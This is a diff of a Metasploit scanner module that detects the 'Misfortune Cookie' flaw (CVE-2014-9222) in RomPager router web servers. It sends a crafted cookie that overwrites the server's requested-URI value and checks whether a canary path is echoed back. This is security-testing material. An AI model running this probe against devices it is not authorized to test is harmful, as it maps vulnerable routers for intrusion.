@@ -27,38 +27,165 @@ def initialize(info = {})
2727 ] ,
2828 'References' => [
2929 [ 'CVE' , '2014-9222' ] ,
30- [ 'URL' , 'http://mis.fortunecook.ie' ]
30+ [ 'URL' , 'http://mis.fortunecook.ie' ] ,
31+ [ 'URL' , 'http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf' ] , # list of likely vulnerable devices
32+ [ 'URL' , 'http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf' ] # 31C3 presentation with POC
3133 ] ,
3234 'DisclosureDate' => 'Dec 17 2014' ,
3335 'License' => MSF_LICENSE
3436 ) )
3537
36- register_options ( [
37- OptString . new ( 'TARGETURI' , [ true , 'Path to fingerprint RomPager from' , '/Allegro' ] )
38- ] , self . class )
38+ register_options (
39+ [
40+ OptString . new ( 'TARGETURI' , [ true , 'URI to test' , '/' ] )
41+ ] , Exploit ::Remote ::HttpClient
42+ )
43+
44+ register_advanced_options (
45+ [
46+ OptString . new ( 'CANARY_URI' , [ false , 'Try overwriting the requested URI with this canary value (empty for random)' ] ) ,
47+ OptString . new ( 'STATUS_CODES_REGEX' , [ true , 'Ensure that canary pages and probe responses have status codes that match this regex' , '^40[134]$' ] )
48+ ] , self . class
49+ )
50+ end
51+
52+ def check_host ( _ip )
53+ begin
54+ test_misfortune
55+ ensure
56+ disconnect
57+ end
58+ end
59+
60+ def run_host ( ip )
61+ status = check_host ( ip )
62+ case status
63+ when Exploit ::CheckCode ::Appears
64+ when Exploit ::CheckCode ::Detected
65+ when Exploit ::CheckCode ::Vulnerable
66+ print_good ( "#{ peer } #{ status . last } " )
67+ else
68+ vprint_status ( "#{ peer } #{ status . last } " )
69+ end
70+ end
71+
72+ def setup
73+ @status_codes_regex = Regexp . new ( datastore [ 'STATUS_CODES_REGEX' ] )
3974 end
4075
41- def check_host ( ip )
42- res = send_request_cgi ( 'uri' => normalize_uri ( target_uri . path . to_s ) , 'method' => 'GET' )
76+ # Fingerprints the provided HTTP response and returns
77+ # Exploit::CheckCode::Appears if it is a vulnerable version of RomPager,
78+ # otherwise returns the provided fall-back status.
79+ def check_response_fingerprint ( res , fallback_status )
4380 fp = http_fingerprint ( response : res )
44- if /RomPager\/ (?<version>[\d \. ]+)$/ =~ fp
81+ if /RomPager\/ (?<version>[\d \. ]+)/ =~ fp
82+ vprint_status ( "#{ peer } is RomPager #{ version } " )
4583 if Gem ::Version . new ( version ) < Gem ::Version . new ( '4.34' )
84+ return Exploit ::CheckCode ::Appears
85+ end
86+ end
87+ fallback_status
88+ end
89+
90+ def find_canary
91+ vprint_status ( "#{ peer } locating suitable canary URI" )
92+ canaries = [ ]
93+ if datastore [ 'CANARY_URI' ]
94+ canaries << datastore [ 'CANARY_URI' ]
95+ else
96+ # several random URIs in the hopes that one, generally the first, will be usable
97+ 0 . upto ( 4 ) { canaries << '/' + Rex ::Text . rand_text_alpha ( 16 ) }
98+ end
99+
100+ canaries . each do |canary |
101+ res = send_request_raw (
102+ 'uri' => normalize_uri ( canary ) ,
103+ 'method' => 'GET' ,
104+ 'headers' => headers
105+ )
106+ # in most cases, the canary URI will not exist and will return a 404, but
107+ # if everything under TARGETURI is protected by auth, a 401 may be OK too.
108+ # but, regardless, respect the configuration set for this module
109+ return [ canary , res . code ] if res && res . code . to_s =~ @status_codes_regex
110+ end
111+ nil
112+ end
113+
114+ def headers
115+ {
116+ 'Referer' => full_uri
117+ }
118+ end
119+
120+ # To test for this vulnerability, we must first find a URI known to return
121+ # a 404 (not found) which we will use as a canary. This URI (for example,
122+ # /foo) is then taken and used as the value for a carefully crafted cookie
123+ # when making a request to the configured host+port+uri. If the response
124+ # is a 404 and the body includes the canary, it is likely that the cookie
125+ # overwrote RomPager's concept of the requested URI, indicating that it is
126+ # vulnerable.
127+ def test_misfortune
128+ # find a usable canary URI (one that returns an acceptable status code already)
129+ if canary = find_canary
130+ canary_value , canary_code = canary
131+ vprint_status ( "#{ peer } found canary URI #{ canary_value } with code #{ canary_code } " )
132+ else
133+ vprint_error ( "#{ peer } Unable to find a suitable canary URI" )
134+ return Exploit ::CheckCode ::Unknown
135+ end
136+
137+ canary_cookie_name = 'C107373883'
138+ canary_cookie = canary_cookie_name + "=#{ canary_value } ;"
139+
140+ # Make a request containing a specific canary cookie name with the value set
141+ # from the suitable canary value found above.
142+ res = send_request_raw (
143+ 'uri' => normalize_uri ( target_uri . path . to_s ) ,
144+ 'method' => 'GET' ,
145+ 'headers' => headers . merge ( 'Cookie' => canary_cookie )
146+ )
147+
148+ unless res
149+ vprint_error ( "#{ full_uri } no response" )
150+ return Exploit ::CheckCode ::Unknown
151+ end
152+
153+ unless res . code . to_s =~ @status_codes_regex
154+ vprint_status ( "#{ full_uri } unexpected HTTP code #{ res . code } response" )
155+ return check_response_fingerprint ( res , Exploit ::CheckCode ::Detected )
156+ end
157+
158+ unless res . body
159+ vprint_status ( "#{ full_uri } HTTP code #{ res . code } had no body" )
160+ return check_response_fingerprint ( res , Exploit ::CheckCode ::Detected )
161+ end
162+
163+ # If that canary *value* shows up in the *body*, then there are two possibilities:
164+ #
165+ # 1) If the canary cookie *name* is also in the *body*, it is likely that
166+ # the endpoint is puppeting back our request to some extent and therefore
167+ # it is expected that the canary cookie *value* would also be there.
168+ # return Exploit::CheckCode::Detected
169+ #
170+ # 2) If the canary cookie *name* is *not* in the *body*, return
171+ # Exploit::CheckCode::Vulnerable
172+ if res . body . include? ( canary_value )
173+ if res . body . include? ( canary_cookie_name )
174+ vprint_status ( "#{ full_uri } HTTP code #{ res . code } response contained canary cookie name #{ canary_cookie_name } " )
175+ return check_response_fingerprint ( res , Exploit ::CheckCode ::Detected )
176+ else
177+ vprint_good ( "#{ full_uri } HTTP code #{ res . code } response contained canary cookie value #{ canary_value } as URI" )
46178 report_vuln (
47- host : ip ,
179+ host : rhost ,
48180 port : rport ,
49181 name : name ,
50182 refs : references
51183 )
52- return Exploit ::CheckCode ::Appears
53- else
54- return Exploit ::CheckCode ::Detected
184+ return Exploit ::CheckCode ::Vulnerable
55185 end
56- else
57- return Exploit ::CheckCode ::Safe
58186 end
59- end
60187
61- def run_host ( ip )
62- print_good ( " #{ peer } appears to be vulnerable" ) if check_host ( ip ) == Exploit ::CheckCode ::Appears
188+ vprint_status ( " #{ full_uri } HTTP code #{ res . code } response did not contain canary cookie value #{ canary_value } as URI" )
189+ check_response_fingerprint ( res , Exploit ::CheckCode ::Safe )
63190 end
64191end
0 commit comments